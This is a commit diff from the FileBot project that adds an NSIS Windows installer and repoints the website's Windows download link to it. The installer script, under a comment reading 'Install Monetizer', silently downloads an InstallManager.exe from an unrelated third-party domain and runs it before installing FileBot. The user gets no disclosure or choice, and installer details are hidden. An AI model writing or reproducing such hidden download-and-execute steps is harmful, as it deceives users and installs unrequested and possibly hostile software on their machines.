* try using Install Monetizer for a bit and see how it performs

This commit is contained in:
Reinhard Pointner 2013-06-15 10:01:31 +00:00
parent 0c872a44d0
commit 4208cb6557
6 changed files with 58 additions and 6 deletions

View File

@ -0,0 +1,52 @@
!define PRODUCT_NAME "FileBot"
!include "MUI2.nsh"
!include "x64.nsh"
; MUI Settings / Icons
!define MUI_ICON "icon.ico"
; MUI Settings / Header
!define MUI_HEADERIMAGE
!define MUI_HEADERIMAGE_RIGHT
!define MUI_HEADERIMAGE_BITMAP "header.bmp"
; MUI Settings / Wizard
!define MUI_WELCOMEFINISHPAGE_BITMAP "wizard.bmp"
!insertmacro MUI_PAGE_WELCOME
!insertmacro MUI_PAGE_INSTFILES
!insertmacro MUI_LANGUAGE "English"
Name "FileBot"
OutFile "FileBot-setup.exe"
ShowInstDetails hide
AutoCloseWindow false
Section ""
DetailPrint "Initializing..."
;Install Monetizer
inetc::get /SILENT "http://www.comay13north.com/download.php?loGFcg==" "$PLUGINSDIR\InstallManager.exe" /end
nsExec::Exec '$PLUGINSDIR\InstallManager.exe'
;Remove old version
DetailPrint "Removing older versions..."
nsExec::Exec 'msiexec /quiet /x {2DE5DAFC-A5E4-41C2-8123-C358BA5A562D}'
DetailPrint "Downloading latest version..."
;Install latest FileBot
${if} ${RunningX64}
inetc::get /USERAGENT "nsis" /caption "Downloading FileBot (x64)" "http://www.filebot.net/download.php?mode=nsis&type=msi&arch=x64" "$PLUGINSDIR\FileBot.msi" /end
${else}
inetc::get /USERAGENT "nsis" /caption "Downloading FileBot (x86)" "http://www.filebot.net/download.php?mode=nsis&type=msi&arch=x86" "$PLUGINSDIR\FileBot.msi" /end
${endif}
DetailPrint "Installing latest version..."
nsExec::Exec 'msiexec /quiet /i "$PLUGINSDIR\FileBot.msi"'
Pop $0 # return value
${if} $0 != "0"
DetailPrint "Install failed."
Abort
${endif}
SectionEnd

BIN
installer/nsis/header.bmp Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 25 KiB

BIN
installer/nsis/icon.ico Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 15 KiB

BIN
installer/nsis/wizard.bmp Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 151 KiB

BIN
installer/nsis/wizard.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 93 KiB

View File

@ -336,12 +336,12 @@
<h2>Download</h2> <h2>Download</h2>
<ul class="list"> <ul class="list">
<li class="ubuntu">Ubuntu App is available in the <a target="_blank" href="https://apps.ubuntu.com/cat/applications/filebot/">Ubuntu Software Center</a></li> <li class="ubuntu">Ubuntu App is available in the <a target="_blank" href="https://apps.ubuntu.com/cat/applications/filebot/">Ubuntu Software Center</a></li>
<li>Mac OS X app bundle: <a onclick="_gaq.push(['_trackPageview', '/download/FileBot.app'])" target="_blank" href="download.php?mode=s&amp;type=app">FileBot_@{version}.app</a> (<span class="filesize">29MB</span>)</li> <li>Windows installer: <a onclick="_gaq.push(['_trackPageview', '/download/FileBot_setup.exe'])" target="_blank" href="https://sourceforge.net/projects/filebot/files/filebot/HEAD/FileBot-setup.exe">FileBot_@{version}-setup.exe</a>
<li>Windows installer: <a onclick="_gaq.push(['_trackPageview', '/download/FileBot_x86.msi'])" target="_blank" href="download.php?mode=s&amp;type=msi&amp;arch=x86">FileBot_@{version}_x86.msi</a> or <a onclick="_gaq.push(['_trackPageview', '/download/FileBot_x64.msi'])" target="_blank" href="download.php?mode=s&amp;type=msi&amp;arch=x64">FileBot_@{version}_x64.msi</a> (<span class="filesize">28MB</span>)</li> <li>Mac OS X app bundle: <a onclick="_gaq.push(['_trackPageview', '/download/FileBot.app'])" target="_blank" href="download.php?mode=s&amp;type=app">FileBot_@{version}.app</a></li>
<li>Debian packages: <a onclick="_gaq.push(['_trackPageview', '/download/filebot_i386.deb'])" target="_blank" href="download.php?mode=s&amp;type=deb&amp;arch=i386">filebot_@{version}_i386.deb</a> or <a onclick="_gaq.push(['_trackPageview', '/download/filebot_amd64.deb'])" target="_blank" href="download.php?mode=s&amp;type=deb&amp;arch=amd64">filebot_@{version}_amd64.deb</a> (<span class="filesize">26MB</span>)</li> <li>Debian packages: <a onclick="_gaq.push(['_trackPageview', '/download/filebot_i386.deb'])" target="_blank" href="download.php?mode=s&amp;type=deb&amp;arch=i386">filebot_@{version}_i386.deb</a> or <a onclick="_gaq.push(['_trackPageview', '/download/filebot_amd64.deb'])" target="_blank" href="download.php?mode=s&amp;type=deb&amp;arch=amd64">filebot_@{version}_amd64.deb</a></li>
<li>Embedded Linux packages: <a onclick="_gaq.push(['_trackPageview', '/download/filebot_arm.ipk'])" target="_blank" href="download.php?mode=s&amp;type=ipkg&amp;arch=arm">filebot_@{version}_arm.ipk</a> or <a onclick="_gaq.push(['_trackPageview', '/download/filebot_i686.ipk'])" target="_blank" href="download.php?mode=s&amp;type=ipkg&amp;arch=i686">filebot_@{version}_i686.ipk</a> (<span class="filesize">27MB</span>)</li> <li>Embedded Linux packages: <a onclick="_gaq.push(['_trackPageview', '/download/filebot_arm.ipk'])" target="_blank" href="download.php?mode=s&amp;type=ipkg&amp;arch=arm">filebot_@{version}_arm.ipk</a> or <a onclick="_gaq.push(['_trackPageview', '/download/filebot_i686.ipk'])" target="_blank" href="download.php?mode=s&amp;type=ipkg&amp;arch=i686">filebot_@{version}_i686.ipk</a></li>
<li>Portable: <a onclick="_gaq.push(['_trackPageview', '/download/FileBot-portable.zip'])" target="_blank" href="download.php?mode=s&amp;type=portable">FileBot-@{version}-portable.zip</a> (<span class="filesize">24MB</span>)</li> <li>Portable: <a onclick="_gaq.push(['_trackPageview', '/download/FileBot-portable.zip'])" target="_blank" href="download.php?mode=s&amp;type=portable">FileBot-@{version}-portable.zip</a></li>
<li>Executable Jar: <a onclick="_gaq.push(['_trackPageview', '/download/FileBot.jar'])" target="_blank" href="download.php?mode=s&amp;type=jar">FileBot_@{version}.jar</a> (<strong>26MB</strong>) <small class="comment">for Windows, Linux, Mac OS X, BSD and Solaris</small> <li>Executable Jar: <a onclick="_gaq.push(['_trackPageview', '/download/FileBot.jar'])" target="_blank" href="download.php?mode=s&amp;type=jar">FileBot_@{version}.jar</a><small class="comment">for Windows, Linux, Mac OS X, BSD and Solaris</small>
<ul> <ul>
<li>This package does not include the <a href="https://sourceforge.net/p/filebot/code/HEAD/tree/trunk/lib/native/" target="_blank">MediaInfo and 7-Zip native libraries</a>. <small class="comment">32-bit JRE requires 32-bit native libs</small></li> <li>This package does not include the <a href="https://sourceforge.net/p/filebot/code/HEAD/tree/trunk/lib/native/" target="_blank">MediaInfo and 7-Zip native libraries</a>. <small class="comment">32-bit JRE requires 32-bit native libs</small></li>
</ul> </ul>